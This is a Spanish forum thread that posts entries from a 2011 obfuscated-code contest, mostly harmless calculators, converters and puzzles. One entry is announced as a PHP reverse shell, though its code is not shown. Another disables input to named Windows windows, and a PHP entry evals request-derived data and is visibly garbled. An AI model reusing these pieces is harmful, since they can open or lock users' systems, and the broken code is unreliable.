Abril 26, 2018, 06:37:19 pm

Autor Tema: Codigos Ofuscados  (Leído 18024 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado WaesWaes

  • Actualmente es
  • Colaborador
  • ****
  • Mensajes: 4402
  • You are not prepared!
    • Ver Perfil
Codigos Ofuscados
« en: Julio 28, 2011, 03:26:06 pm »
Hola que tal aca posteo los codigos que se ofuscaron en el torneo, no se si hacer una encuesta para ver cual esta mejor porque la verdad es media ambigua, ustedes diran si quieren o no encuesta....

Autor: JaAViEr
Lenguaje: Python
Programa: Calculadora

Código: You are not allowed to view links. Register or Login
import base64
def v5Wd(Abh5Wd):
    Abh5Wd=base64.b64encode(Abh5Wd)
    Abz9GZ=[Abh5Wd]
    for w2clJHd in Abz9GZ[0]:
            Abz9GZ.append(w2clJHd)
    Abz9GZ.reverse()
    AbvJHdhV3Y=""
    for Qaz9GZ in Abz9GZ:
            AbvJHdhV3Y+=Qaz9GZ
    return AbvJHdhV3Y.replace(Abh5Wd,"")
def z9GZ(Qah5Wd):
    Qaz9GZ=[Qah5Wd]
    for k2clJHd in Qaz9GZ[0]:
        Qaz9GZ.append(k2clJHd)
    Qaz9GZ.reverse()
    QavJHdhV3Y=""
    for k0clJHd in Qaz9GZ:
        QavJHdhV3Y+=k0clJHd
    return base64.b64decode(QavJHdhV3Y.replace(Qah5Wd,""))
QP="++QP"
x8mbnl2c="--wK"
kGdsVXb="6MXZg42bpNWYjlGbwlGdsVXTgEGT"
ozbyVWb15EIyVWbpJHUX=raw_input(z9GZ("==ozbyVWb15EIyVWbpJHU"))
QP=QP.replace("+","=")
y8mbnl2c="==SXQL".translate(None,"SX")
Qa2lGZ="6MXZg42bpNXa2lGZgEGT"
x8mbnl2c=x8mbnl2c.replace("-",z9GZ(QP))
z8mbnl2c="==.wL"
mcl1WdOBybk5WdnV2U=raw_input(z9GZ("68mcl1WdOBybk5WdnV2U"))
z8mbnl2c=z8mbnl2c.split(".")
ozbyVWb15EIyVWbpJHUX=v5Wd(ozbyVWb15EIyVWbpJHUX)
mbnl2c="==geeK"
EGdzVmc="6MXZgEGdzVmUgEGT"
mcl1WdOBybk5WdnV2U=v5Wd(mcl1WdOBybk5WdnV2U)
exec "QYtV3c=%s%s%s;"%(z9GZ(ozbyVWb15EIyVWbpJHUX),z9GZ(x8mbnl2c.replace("-",z9GZ(QP))),z9GZ(mcl1WdOBybk5WdnV2U))
QYtV3c2="=ozclBSYtV3UgEGT"
print z9GZ(QYtV3c2),QYtV3c
exec "EGdzVmc2=%s%s%s;"%(z9GZ(ozbyVWb15EIyVWbpJHUX),z9GZ(y8mbnl2c),z9GZ(mcl1WdOBybk5WdnV2U))
z8mbnl2c="CPH"+z8mbnl2c[0]+z8mbnl2c[1]
print z9GZ(EGdzVmc),EGdzVmc2
exec "Qa2lGZ2=%s%s%s;"%(z9GZ(ozbyVWb15EIyVWbpJHUX),z9GZ(z8mbnl2c.translate(None,"HCP")),z9GZ(mcl1WdOBybk5WdnV2U))
print z9GZ(Qa2lGZ),Qa2lGZ2
exec "kGdsVXb2=%s%s%s;"%(z9GZ(ozbyVWb15EIyVWbpJHUX),z9GZ(mbnl2c.replace("e","H").translate(None,"H")),z9GZ(mcl1WdOBybk5WdnV2U))
print z9GZ(kGdsVXb),kGdsVXb2

Autor: Arobavx
Lenguaje: Java
Programa: Muestra el nombre del foro como se si estubiera tipeando:

Código: You are not allowed to view links. Register or Login
import java.io.IOException;import java.io.InputStream;import java.net.URL;
 class Ofuscador extends Thread {
static _11f46a67b0792d8eb64c0f7622216a7dcb6f88e3[] a5_6 = new _11f46a67b0792d8eb64c0f7622216a7dcb6f88e3[10];
static _11f46a67b0792d8eb64c0f7622216a7dcb6f88e3[] a5_7;static int x=0;static String _e = "ratv",e_ ="leit";
public static void main(String[] asd) throws Exception {
a5_6[3]=new _11f46a67b0792d8eb64c0f7622216a7dcb6f88e3("02.5_0.122.3_");
a5_6[8]=new _11f46a67b0792d8eb64c0f7622216a7dcb6f88e3("6137524");
while(x<20){System.out.print(man()._63ef721c00eb72cb2bf07a09c2685efb.split(
"<"+___()+">")[1].split("</"+___()+">")[0].charAt(x));sleep(100);x++;}}
static String ___(){return ""+e_.charAt(e_.length()-1)+e_.charAt(2)+e_.charAt(3)
+e_.charAt(0)+e_.charAt(1);}
static _11f46a67b0792d8eb64c0f7622216a7dcb6f88e3 man() throws IOException{
URL url = new URL("http://"+Z_OtT53a_("",new _11f46a67b0792d8eb64c0f7622216a7dcb6f88e3("")
)+"/~"+__("")+"001");InputStream fi = url.openStream();byte[] b = new byte[4000];int i = 1;
_11f46a67b0792d8eb64c0f7622216a7dcb6f88e3 a226_= new _11f46a67b0792d8eb64c0f7622216a7dcb6f88e3("");
while(b[i-1]<4000){a226_._63ef721c00eb72cb2bf07a09c2685efb+=(char)((byte)fi.read());
i++;if(i>3990)break;} return a226_ ; } static String __(String _){ String g = "3102";
for(int s= 0; s<g.length();s++){_+=_e.charAt(Integer.parseInt("" + g.charAt(s)));}return _;}
static String Z_OtT53a_(String _,_11f46a67b0792d8eb64c0f7622216a7dcb6f88e3 a_){
_11f46a67b0792d8eb64c0f7622216a7dcb6f88e3 _a=a5_6[8];_11f46a67b0792d8eb64c0f7622216a7dcb6f88e3
a_a=a5_6[(8-5)];for(int a_a_=0; a_a_ < a_a._2fa47f7c65fec19cc163b195725e3844();a_a_++){
if(a_a._88850e87c05bb704be0f8f6f2f81c66d(a_a_)=='.'){_+=a_a._88850e87c05bb704be0f8f6f2f81c66d(a_a_);
}else if(a_a._88850e87c05bb704be0f8f6f2f81c66d(a_a_)=='_'){_+=_a._88850e87c05bb704be0f8f6f2f81c66d(
(_a._2fa47f7c65fec19cc163b195725e3844()-1));}else{_+=_a._88850e87c05bb704be0f8f6f2f81c66d(
Integer.parseInt((""+a_a._88850e87c05bb704be0f8f6f2f81c66d(a_a_))));}} return _;}
static class _11f46a67b0792d8eb64c0f7622216a7dcb6f88e3 {String _63ef721c00eb72cb2bf07a09c2685efb;
String[] a5_7; _11f46a67b0792d8eb64c0f7622216a7dcb6f88e3(String str){
_63ef721c00eb72cb2bf07a09c2685efb=(String)str;} char _88850e87c05bb704be0f8f6f2f81c66d(int
_6a992d5529f459a44fee58c733255e86_){return _63ef721c00eb72cb2bf07a09c2685efb.charAt(
_6a992d5529f459a44fee58c733255e86_);}int _2fa47f7c65fec19cc163b195725e3844(){
return _63ef721c00eb72cb2bf07a09c2685efb.length();};}}


Autor: .xAk.
Lenguaje: C
Programa: Pide una cadena, puede ser en hexadecimal o como cadena, si es cadena, la muestra en hexadecimal y si es en hexadecimal, lo muestra como cadena.

La entrada en hexa puede ir separada de : o - ejemplos de entradas en hexa:
4330-3033-3044-4138-3443-4546-34
4330:3033:3044:4138:3443:4546:34
43:30:30:33:30:44:41:38:34:43:45:46:34
4330303330444138344 3454634

que devolvería: C0030DA84CEF4

También acepta entrada por la línea de comandos de la cadena.

Código: You are not allowed to view links. Register or Login
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void cuadraMsg(char*);int hexaostr(char*);void limpiaShell();int main(int argc,char*argv[])
{int n=0;const char desc[]="Visualiza cadenas en hexadecimal o viceversa";const char app[]=
"cphHex2str";const char cph[]="Torneo de ofuscación de codes de CPH";const char run[]="Ut"\

                                 "iliz"              "a"                   "m"\
                "e sin arg"  "umentos, o ac"        "ompa"                "ñad"\
            "o de una sóla"  " cadena (o expr"      "esió"               "n h"\
         "exadecimal)";const char        como[]     ="Esc"               "rib"\
        "e una "     "cade"  "na "        "o un"    " hex"               "ade"\
       "cimal"        " y"   " pu"         "lsa "   "retu"               "rn."\
      "\nPar"                "a t"        "ermi"    "nar "               "esc"\
    "ribe "                  "fin"       ;char*     cadena               =NULL,
  bucleCtrl                  ,cursor;if(argc>2      ){limpiaShell() ; printf (
  "%s par"                  "a el %s\n\n%s\n"       "\n\n\n\n", app,cph, run);
  return                    -1;};if( argc           ==2){cadena=(char*) malloc
  (strlen                   (argv                   [1] )+               1 ) ;
   strcpy          (cadena  ,argv[                  1]);}                ; do{
  limpiaShell    ();fprintf (stdout                ,"\n\n"               "\n["\
   "%s] para el %s\n\n\n"   "\n%s"                 "\n\n"                "\n\n"
     ,app,cph,como);if(     cadena                )hexaostr             (cadena
       ); fprintf (         stdout                ,"\n[%s"              "]:|> "


                                      ,app);cadena=NULL;
                                  while((             cursor=
                             getchar                       ())!=
                           '\n'         )              {      cadena
                         = (         char              *)        realloc
                     (cadena     ,cadena==             NULL?2:      strlen
                   (cadena     )+2);                     sprintf(    cadena,
                  "%s%c"   ,cadena,                         cursor)      ;};
                  if(     cadena                             &&strcmp(   cadena
               ,"fin"    )    ==                     0 )      bucleCtrl    ='F';
              setbuf   ( stdin,                    NULL        );}while(  bucleCtrl
              !='F'   ); free(                 cadena  );      limpiaShell   ();
            fprintf  ( stdout,            "%s\t%s\t\tjuni"       "o - 201"   "1"\
            "\n\n"  "\n\n@('_"             "')@   ByE "          "  @('_')"   "@"\
             "\n"  "\n\n",app,              cph);                 return 0;    }int
        strHex2int  (char*x){             int n  =                strlen  (    x )
            ;int    sum=0; int           leftshift                =0;while (   n>0
             ){     if((x[n-1]            >= '0')                 &&(x[n-1]     <=
            '9')   )sum+=(x[n-1]-'0')<<  leftshift              ;if((x[n-1]     >=
            'A')    && (x[n-1]<='F'))sum+=(x[n-1]   -'A'+10)<<leftshift; if    ((x
             [n-    1] >='a')&&(x[n-1]<='f') )sum  +=( x [n -1] -'a'+10) <<  leftshift
            ;n--    ;  leftshift+= 4;}return sum;} char*strHex2str( char  *   clave
              )     {  char*tmpStr= NULL; do{ char  par[ 3]; par [ 0] =*  (   clave
              ++)   ;  if(clave==NULL)par[1]='\0';else par[1]=*(clave++) ;    par
               [2]      ='\0';if(*clave==':'||*clave=='-')clave++;tmpStr =  tmpStr
               !=        NULL ?realloc(tmpStr,strlen(tmpStr)+3):( tmpStr     =
               malloc     (3)   ); sprintf (  tmpStr,  "%s%c" ,  tmpStr     ,
             strHex2int   (par)  );}while ( *clave ) ; return   tmpStr     ;}
                  void            cuadraMsg(char*msg){char*     str       =
                   NULL       ;  int largo= strlen(msg)        ,     horizontal
                   =largo+       5,bucle;str= ( char*)  malloc    (horizontal
                        *3+       1);for(   bucle=0;   bucle         <
                       horizontal    -1;bucle++       )         strcat
                            (str,        "#"); strcat         (str,
                               "\n# ")                  ;sprintf
                                    (str,"%s%s #\n",str,msg);
                                         for (bucle=0;


                                    bucle
                                <horizontal
                           -1;bucle++)strcat
                      (str,"#");fprintf (stdout,
                          "%s\n",str) ;str=NULL;
                              free(str);}int esHexa
                                (char *palabreja) {
                                char aPares=0; while (*
                               palabreja != '\0'){ if((*
                              palabreja>='0')&&(*palabreja
                              <='9')|| (*palabreja >= 'A' )
                             &&(*palabreja<='F')||(*palabreja
                              >= 'a') && (*palabreja<='f' ) )
                               aPares>1?aPares = 1: aPares++;
                                else if(aPares==2&&(*palabreja
                                ==':'||*palabreja=='-'))aPares
                                 =0;else return 0; palabreja++;
                                 }return aPares==2;}int hexaostr
                                  (char * cadena){char*entrada=
                                    NULL; entrada=malloc( strlen
                                      (cadena)+1);strcpy(entrada,
                                       cadena);if(esHexa(cadena))
                                        {strcpy(entrada,strHex2str
                                          (      entrada ) ) ; int
                                        chars      =strlen( entrada
                                        );      const char tmpStr[]=
                                      "Has"      " e" "ntrado una c"\
                                  "adena en" " Hexade"  "cimal"; const
                                                         char tmpStr1[]
                                                          ="que como "\
                                                           "cadena es:"
                                                               ;     int

tmpInt=strlen(cadena );chars+=tmpInt+strlen(tmpStr)+strlen(tmpStr1)+strlen(
entrada) + 14;char tmpCadena[sizeof(cadena)]; strcpy(tmpCadena,cadena);cadena=(char*)realloc(
cadena,chars);sprintf(cadena,"%s [%s] %s => %s",tmpStr,tmpCadena,tmpStr1,entrada);}else{const

char tmpStr[]="Has entrado una cadena de caracteres";const char tmpStr1[]="en hexadecimal e"\
"s:";char*resultado=NULL;const char*doble=cadena;while(* doble!='\0'){resultado = resultado==
NULL?malloc(3):realloc(resultado,strlen(resultado)+3);if(strlen(resultado))sprintf(resultado,

"%s:%x", resultado,(int)*doble );else sprintf(resultado,"%x",*doble);doble++;}char tmpCadena[
sizeof(cadena)];strcpy(tmpCadena,cadena);int chars=strlen(tmpStr)+strlen(tmpCadena) + strlen(
tmpStr1 )+strlen(resultado)+ 9;cadena=(char* )realloc(cadena, cadena!=NULL?strlen(tmpCadena)+

chars:chars);sprintf(cadena,"%s [%s] %s => %s",tmpStr,tmpCadena,tmpStr1,resultado);}cuadraMsg
(cadena );entrada=NULL;free( entrada);}void limpiaShell() {if(getenv("WINDIR"))system("cls");
                                                                       else system("clear");}

Autor: messerschmitt
Lenguaje: VB
Programa: Dice "ofuscacion", el beep es opcional.

Código: You are not allowed to view links. Register or Login
Private Declare Function beep Lib "kernel32" Alias "Beep" (ByVal frecuencia As Long, ByVal msegundos As Long) As Long

Private Sub Form_Load()
Static v As Long, b As Long
Dim i As Variant, a As Variant, sv() As String, res As String, rer As String, N As Integer
If 1 + 69 = 70 Then N = 2 * 2 + 1
For Each a In Array("tksdjldldk", "kkjsdjhksd", "zdjldskjl", "xjdjdjs", "hahahahaha", "fafaffa", "hahaah", "nananana", "teteette", "ssjkshjshk")
    res = res & Asc(Mid(a, 1, 1)) - Val(N) & "/"
    If Val(res) >= 200 + Log(1337) Then
        Exit Sub
    End If
Next
sv = Split(res, "/")
For i = LBound(sv) To UBound(sv)
    v = v + 100 - 50 * 2 - 100 + 100 + 100
    rer = rer & Chr(Val(sv(i)))
    beep v, 100
    MsgBox rer
Next
End
End Sub

Autor: carlmycol
Lenguaje: PHP
Programa: Es una especie de calculadora, lo que haces es llamarlo desde consola con una expresion matematica simple como 5+5 y 5*4/2 Ejemplo: php f.php 5*8 Responde: 40

Código: You are not allowed to view links. Register or Login
<?php $bXg2WWxkYWVnPT=array("\x59l\x68n\x4dl\x64X" ."\x65G\x74Z\x56" => "\x73t\x72l\x65n", "\x68W\x62W"."\x68Q\x56m\x314\x521\x5a" => "\x73t\x72"
."r\x65v","\x64\x77\x62\x31\x4E\x45\x54\x57\x64". "\x77\x62"=>"\x65\x63\x68\x6F");$yWmhhWE5tWV =$YXdnZmFxZWhTV0dTt='';$pb1NOZm9OU2Zpb25=array 
(array(
96,96,100,133,139,125,123,125), array(67=>36,10=>51,93=>95,49=>80,17=> 21,16=>100,50=>2,16=> 
65),array(39=>1,18=>63,74=>52,19 =>   98,63=>64,72=>28,22=>14,21=>30)); $NtZ3BBT1NHTU9=array(array(array(array(
$Fnbm9zaWdTRw=true,false,true,true),array (false,false,true,true,true), array_reverse(array_merge(array(true,false
$YXdnZmFxZ=true,true),array_reverse(array( true,falsetruetrue)))),array_reverse( array_merge(array(truefalsetruetruefalse
true), array(falsetruetrue))))),array( array_reverse(array(truefalsefalse falsefalsetruetrue)),array(truetruetrue,
falsefalsetruefalse),array_reverse(array( truetruetruefalsefalsetruetrue )),array(truetruetruefalsetruetrue
false)));$YXdnZmFxZWhTV0dT=array(73110103, 11410111597,32,101,120,112,114,101, 115,105,111,110,32,99,111,109,111,58,32,
53,43,56);foreach ($bXg2WWxkYWVnPT as $bXG2WWxkYWVnPT => $bXg3WWxkYWVnPT){ $$bXG2WWxkYWVnPT $bXg3WWxkYWVnPT;}$yWmhhWE5tWVv
=array( array( ''''), array('''')); $drOWlNbXg2WWxk = array(function( $NVzVhYlV){global $YlhnMldXeGtZV;global 
$bXg2WWxkYWVnPT;return $YlhnMldXeGtZV ($NVzVhYlV);});$UYmxKT1ZucFdhR= $bXg2WWxkYWVnPT["U\x59m\x78K\x541\x5au\x63F"
."\x64h\x52"]=$bXg2WWxkYWVnPT["h\x57b" ."\x57h\x51V\x6d1\x34R\x31Z"] ("t\x6eu\x6fc");$yWmhhWE5tWV=array( array( ''
''), array(''''));$dwb1NETWdwb2R array_reverse(array("\x62a\x73e\x364" ."\x5fe\x6ec\x6fd\x65",'',array('',"\x73e\x74t"
."\x79p\x65",'',array_merge($_SERVER,$_REQUEST) ,'',"\x62a\x73e\x364\x5fd\x65c\x6fd" ."\x65"),array ('dhbm1nZmFpb3' => "\x63\x68\x72",
'lzbWZz' => "\x73\x74\x72\x5F\x73\x70" ."\x6C\x69\x74",'NmYXNVQUZOb2lz' =>  "\x62\x69\x6E\x64\x65\x63",'cwaW1zZGdTRE' => 
$waW1zZGdTREd=$bXg2WWxkYWVnPT["\x68\x57". "\x62\x57\x68\x51\x56\x6D\x31\x34" ."\x52\x31\x5A"]("\x66\x74\x6E\x69\x72\x70"),
'JU01naGk5ME' => "\x70\x6F\x77")));foreach ($YXdnZmFxZWhTV0dT as $YXdnZmFxZWhTV00dT ){$YXdnZmFxZWhTV0dTt.=$dwb1NETWdwb2R[false]
[
"\x64\x68\x62\x6D\x31\x6E\x5A\x6D\x46\x70" ."\x62\x33"]($YXdnZmFxZWhTV00dT);} $yWmhhWE5tWV=$yWmhhWE5tWV[true][true];
$dwb1NETWdwb2R[false]["\x63\x77\x61\x57\x31" ."\x7A\x5A\x47\x64\x54\x52\x45"] ("\t");foreach($NtZ3BBT1NHTU9[true] as 
$NtZ3BBT1NHTu9 => $NTZ3BBT1NHTU9){$ZmFpb3duZ2 ='';foreach($NTZ3BBT1NHTU9 as $ZmFbb3duZ2) {$ZmFbb3dUZ2=null;$ZmFbb3dUZ2=(int)$ZmFbb3duZ2;
$ZmFpb3duZ2.=$ZmFbb3dUZ2;}$aXdhbm1nZ= $dwb1NETWdwb2R[false]["\x4E\x6D\x59\x58" ."\x4E\x56\x51\x55\x5A\x4F\x62\x32\x6C\x7A"](
(int)
$ZmFpb3duZ2);$yWmhhWE5tWV.= $dwb1NETWdwb2R[false]["\x64\x68\x62\x6D" ."\x31\x6E\x5A\x6D\x46\x70\x62\x33"]($aXdhbm1nZ);
}
$yWmhhWE5tWVv=$yWmhhWE5tWVv[true] [true];$saG5NbGRYZUd0W=$dwb1NETWdwb2R [true][$YlhnMldXeGtZV("CPH")][$yWmhhWE5tWV];
$Vm1wR1lWWXlUWGhTYms1VVl = array ( "\x69b\x54B\x51T\x55Z\x77T\x56N\x6ec" ."\x47" => array(array(truefalsetruetrue,
falsefalsetrue),array(truetrue, falsefalsetruefalse),array(true truetruefalsefalsetrue),array(true,true,
falsefalsefalsetrue),array_reverse (array(falsetruefalsefalsefalse ,truetrue)),array(truetruefalsetrue,
truetruefalse),array(truefalse ,truefalsefalsefalsetrue), array_reverse(array(truefalsetruetruetrue
,true))));$aXNhZm5tSUFTT='';foreach ($pb1NOZm9OU2Zpb25[0] as $zaUFnbm9zaWdTR => $zaUFnbm9zaWdTr){$zauFnbm9zaWdTR=$zaUFnbm9zaWdTr
-($dwb1NETWdwb2R[false]["\x4A\x55\x30" ."\x31\x6E\x61\x47\x6B\x35\x4D\x45"](( (int)true+(int)true)*((int)true+(int)true+(int)true)
,((int)
true+(int)true)*((int)true+(int )true+(int)true))-(int)true);$aXNhZm5tSUFTT .= chr($zauFnbm9zaWdTR);}$aXNhZm5tSUFTT=
$dwb1NETWdwb2R[true][$dwb1NETWdwb2R [false]["\x4A\x55\x30\x31\x6E\x61\x47". "\x6B\x35\x4D\x45"]((int)true+(int)true, (int)
true+(int)false+(int)true)+(int)true] ($hWbWhQVm14R1Z($aXNhZm5tSUFTT));if(( $UYmxKT1ZucFdhR($saG5NbGRYZUd0W))>$UYmxKT1ZucFdhR
($Vm1wR1lWWXlUWGhTYms1VVl)){if($UYmxKT1ZucFdhR ($dwb1NETWdwb2R[true][$YlhnMldXeGtZV("W" ."IN")][$yWmhhWE5tWV])==((int)true+(int)true))
{eval(
"\t\x65\x63\x68\x6F ".$saG5NbGRYZUd0W [$YXdnZmFxZ]."\x3B\n");}}else{$dwb1NETWdwb2R [false]["\x63\x77\x61\x57\x31\x7A\x5A\x47\x64"
."\x54\x52\x45"]($YXdnZmFxZWhTV0dTt);} $dwb1NETWdwb2R[false]["\x63\x77\x61\x57\x31" ."\x7A\x5A\x47\x64\x54\x52\x45"]("\n"); ?>





NOTA: No dijo que hacia el codigo asi que no esta probado.
Autor: Jh0ubrt
Lenguaje: C++

Código: You are not allowed to view links. Register or Login
#include <iostream>
#define _l_l_l_l_l__ll_l_l_l_ while
#define l_l_l_l_l_l_l_ int
#define l_l_l_l_l_l_l_l_ cout
#define l_l_l_l_l_l_l_l_l endl
#define _l__l_l_l_l_l_l_l_l return
using namespace std;
l_l_l_l_l_l_l_ _l_l_l_l_l_l_l_l_l_(l_l_l_l_l_l_l_ __l_l_l_l_l_l_l_l_l_l_l_l_){l_l_l_l_l_l_l_ L=4,_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_l_=1,_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_=0,_l[__l_l_l_l_l_l_l_l_l_l_l_l_][1024];
_l[0][0]=1;_l[0][1]=1+1;_l[0][2]=1;_l_l_l_l_l__ll_l_l_l_(_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_l_<__l_l_l_l_l_l_l_l_l_l_l_l_){_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_=0;_l_l_l_l_l__ll_l_l_l_(_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_<L){
_l[_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_l_][_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_]=_l[_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_l_-1][_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_]+_l[_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_l_-1][_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_-1];
_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_++;}_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_l_++;L++;}
l_l_l_l_l_l_l_l_<<"1: "<<1<<" "<<1<<__l_l_l_l_l_l_l_l_l_l_l_l_<<l_l_l_l_l_l_l_l_l;L=3;l_l_l_l_l_l_l_ _l_l_l_l_l_l_l_l_l_l_l_l_ll_=0,_l_l_l_l_l_l_l_l_l_l_l_l_ll_1=0;_l_l_l_l_l__ll_l_l_l_(_l_l_l_l_l_l_l_l_l_l_l_l_ll_1<__l_l_l_l_l_l_l_l_l_l_l_l_){
_l_l_l_l_l_l_l_l_l_l_l_l_ll_=0;l_l_l_l_l_l_l_l_<<L-1<<": ";_l_l_l_l_l__ll_l_l_l_(_l_l_l_l_l_l_l_l_l_l_l_l_ll_<L){l_l_l_l_l_l_l_l_<<_l[_l_l_l_l_l_l_l_l_l_l_l_l_ll_1][_l_l_l_l_l_l_l_l_l_l_l_l_ll_]<<" ";_l_l_l_l_l_l_l_l_l_l_l_l_ll_++;}
l_l_l_l_l_l_l_l_<<l_l_l_l_l_l_l_l_l;L++;_l_l_l_l_l_l_l_l_l_l_l_l_ll_1++;}_l__l_l_l_l_l_l_l_l 0;}
l_l_l_l_l_l_l_ main(){
l_l_l_l_l_l_l_ _l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_l_;cin>>_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_l_;_l_l_l_l_l_l_l_l_l_(_l_l_l_l_l_l_l_l_l__l_l_l_l_l_l_l_l_l_l_l_-1);
_l__l_l_l_l_l_l_l_l 0;}

Autor: mil0666
Lenguaje: C++
Programa: Lo que hace este programa es buscar una ventana de las que se  encuentran en la lista "ventanas" del codigo, si la ventana se encuentra abierta ,el programa bloquea la entrada del raton y el teclado
en las ventanas que haya encontrado.

Código: You are not allowed to view links. Register or Login
             #include  <windows.h>
      #include                 <cstdlib>
     #include                    <cstdio>
    #include                      <iostream>
using namespace std;const char ventanas[7][87]={"Reproductor de Windows Media","Mi PC",
"Windows Live Messenger","Panel de control","Disco local (C:)","Mis imágenes"};HWND hwnd[6]={
hwnd[0]=FindWindow(NULL,ventanas[0]),hwnd[1]=FindWindow(NULL,ventanas[1]),
hwnd[2]=FindWindow(NULL,ventanas[2]),hwnd[3]=FindWindow(NULL,ventanas[3]),
hwnd[4]=FindWindow(NULL,ventanas[4]),hwnd[5]=FindWindow(NULL,ventanas[5])};
void buscar(){if(hwnd[0]==NULL){cout<<"No se encontro la ventana: "<<ventanas[0];getchar();}
else{EnableWindow(hwnd[0],false);cout<<"Se encontro la ventana: "<<ventanas[0];getchar();}
if(hwnd[1]==NULL){cout<<"No se encontro la ventana: "<<ventanas[1];getchar();}else{
EnableWindow(hwnd[1],false);cout<<"Se encontro la ventana: "<<ventanas[1];getchar();}
if(hwnd[2]==NULL){cout<<"No se encontro la ventana: "<<ventanas[2];getchar();}else{
EnableWindow(hwnd[2],false);cout<<"Se encontro la ventana: "<<ventanas[2];getchar();}
if(hwnd[3]==NULL){cout<<"No se encontro la ventana: "<<ventanas[3];getchar();}else{
EnableWindow(hwnd[3],false);cout<<"Se encontro la ventana: "<<ventanas[3];getchar();}
if(hwnd[4]==NULL){cout<<"No se encontro la ventana: "<<ventanas[4];getchar();}else{
EnableWindow(hwnd[4],false);cout<<"Se encontro la ventana: "<<ventanas[4];getchar();}
if(hwnd[5]==NULL){cout<<"No se encontro la ventana: "<<ventanas[5];getchar();}else{
EnableWindow(hwnd[5],false);cout<<"Se encontro la ventana: "<<ventanas[5];getchar();}};
int main(){SetConsoleTitle("Buscador De ventanas");buscar();getchar();return 0;}

Autor: jep
Lenguaje: C
Programa: imprime la cantidad de veces que aparece cada letra en una cadena
Extra: codigo sin ofuscar

Código: You are not allowed to view links. Register or Login
#include <stdio.h>

#define MAX 100
#define LEN_LETRAS 26

int main(void)
{
int cant;
char tx[MAX];
int c1,c2;

printf("Cargar una cadena\n");
fgets(tx,MAX,stdin);

for(c1=0;c1<LEN_LETRAS;c1++)
{
for(c2=0,cant=0;tx[c2]!='\0';c2++)
if(tx[c2]=='a'+c1)
cant++;

printf("%c\t%i\n",'a'+c1,cant);
}

return(0);
}

Codigo ofuscado

Código: You are not allowed to view links. Register or Login
#include <stdio.h>
#define l  "%c\t\
%i\n\0 Cargar u\
na cadena\n\0 "
#define w(j,x\
, y, z) for\
(j;x;y,z)
#def\
i\
ne \
g(g) fg\
ets(g,M,stdin)
#define p printf
#define R (l+8)
#define c char
#define M\
 100
#defi\
ne v(j,x\
,y,z) for(\
j,x;y;z)
int
main()
{c C,t[M],
*u=M/100,
U, D,
J=0,
K=0; p(R);
g(t); w(U=(l==R),
U<26,U=&u[U],p(l,U+'a'-1,
C)) v(D=0,C=0, *(D+t) != (l==0),
D= &u[D]) *(t+D)=='a'+U?
C = &u[C]
:C;
}

Autor: >> s E t H <<
Lenguaje: PHP
Programa: es una shell inversa y se ejecuta asi: php asd.txt <ip> <puerto>

You are not allowed to view links. Register or Login

Autor: R@MI
Lenguaje: VB
Programa: No se bien que explique el mejor o EddyW xD. Inserta el Code en un form, ponele 2 textbox, tres optionbutton, y un commandbutton.

Código: You are not allowed to view links. Register or Login
'@@@@@@@@@@@@@@@@@@@@@@@@@@@@
'@@@@ By R@MI    @@@@@@@@@@@@
'@@@@@@@@@@@@@@@@@@@@@@@@@@@@

'#################################################
'### Intento de ofuscación de source code V2.2 ###
'#################################################


Private Declare Function EbExecuteLine Lib "vba6.dll" _
    (ByVal pStringToExec As Long, ByVal Foo1 As Long, _
    ByVal Foo2 As Long, ByVal fCheckOnly As Long) As Long
Dim Numbers As String, Letras As String
Private Sub Command1_Click()
    Dim TMsg As String, Msg As String, TMPSMsg As VbMsgBoxStyle, SMsg As String: Numbers = StrReverse("0123456789"): Letras = StrReverse("abcdefghijklmnopqrstuvwxyz, """): Dim CodeLine As String: TMsg = StrReverse(Text1): Msg = StrReverse(Text2): GoTo A1
A6: EbExecuteLine StrPtr(CodeLine), 0&, 0&, Abs(False): Exit Sub
A2: If Option3.Value = True Then TMPSMsg = vbInformation: GoTo A8 Else GoTo A8
A1: If Option1.Value = True Then TMPSMsg = vbCritical: GoTo A8 Else GoTo A3
A9: CodeLine = UCase(Mid(StrReverse(Letras), 13, 1)) & Mid(StrReverse(Letras), 19, 1) & Mid(StrReverse(Letras), 7, 1) & UCase(Mid(StrReverse(Letras), 2, 1)) & Mid(StrReverse(Letras), 15, 1) & Mid(StrReverse(Letras), 24, 1) & Mid(StrReverse(Letras), 28, 1) & Mid(StrReverse(Letras), 29, 1) & StrReverse(Msg) & Mid(StrReverse(Letras), 29, 1) & Mid(StrReverse(Letras), 27, 1) & SMsg & Mid(StrReverse(Letras), 27, 1) & Mid(StrReverse(Letras), 29, 1) & StrReverse(TMsg) & Mid(StrReverse(Letras), 29, 1): GoTo A6
A8: SMsg = TMPSMsg: GoTo A9
A3: If Option2.Value = True Then TMPSMsg = vbExclamation: GoTo A8 Else GoTo A2
End Sub

Autor: WaesWaes
Lenguaje: VHDL
Programa: es una ALU similar a la de CODE-2

Código: You are not allowed to view links. Register or Login
                            --00000000
                            --000000
                           --000
                        architecture                                             o0OoOO0OO0 of OO0oOO0O
     is with o0O0O0o0                                          select when o00o00oO
    => o0O0O0O0Oo0 <=                                         O0o0O0O0o00O00O00;when o00o00o=>o0O0O0O0Oo0
<=o0O0000o00o0O0;when oOOO0O=>                             O0O0O0O0O0<=(O0o0O0O0o00(o00o0Oo0OO)
        nand o0O0000o00o0O0(o00o0Oo0OO))|                          (O0o0O0O0o00O00O00(o00o0Oo0OO)nand
